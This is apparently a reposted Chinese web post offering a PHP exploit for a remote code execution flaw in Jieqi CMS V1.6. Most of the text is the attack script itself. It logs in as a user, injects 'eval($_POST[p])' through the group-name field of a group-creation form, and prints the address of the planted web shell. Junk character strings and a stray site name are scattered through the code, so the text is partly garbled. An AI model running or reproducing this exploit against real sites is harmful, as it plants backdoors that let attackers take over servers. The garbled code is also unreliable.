Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。
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# Q# r/ Q4 L0 H+ Z0 A<?php

print_r('
+---------------------------------------------------------------------------+
* z% j8 ]$ r% j" |5 I; Z" D, rJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
6 B  O9 d0 j2 k: F+ hmail: phpsec at hotmail dot com
8 D- b: y* y4 U& V3 lteam: http://www.wolvez.org
: i0 x- F/ b7 n8 [- H# c- n+---------------------------------------------------------------------------+
'); /**
, d- i& P. |+ |* o * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
  I2 `/ d4 Q0 N1 d  h/ I+---------------------------------------------------------------------------+
' E. Q6 r  d$ QUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms
0 @3 c3 f- H) k+ }4 y; F" ]uasename:  a username who can create group
. X/ q. a7 D  d2 s+ tExample:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
. v9 {7 J' @" Y. ?+---------------------------------------------------------------------------+
6 j7 @: l7 b! C) G( f'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"
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% i  @  _6 s" @: a) x. x3 o'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

1
3 L+ A5 M8 t$ b. G  D-----------------------------23281168279961
$ i- S2 y) r' Z' Y/ m4 t+ DContent-Disposition: form-data; name="gaudit"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"
* _; g7 L& E9 n
1
-----------------------------23281168279961--
' O& A) V: R, G+ ]# A3 I3 |, j'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;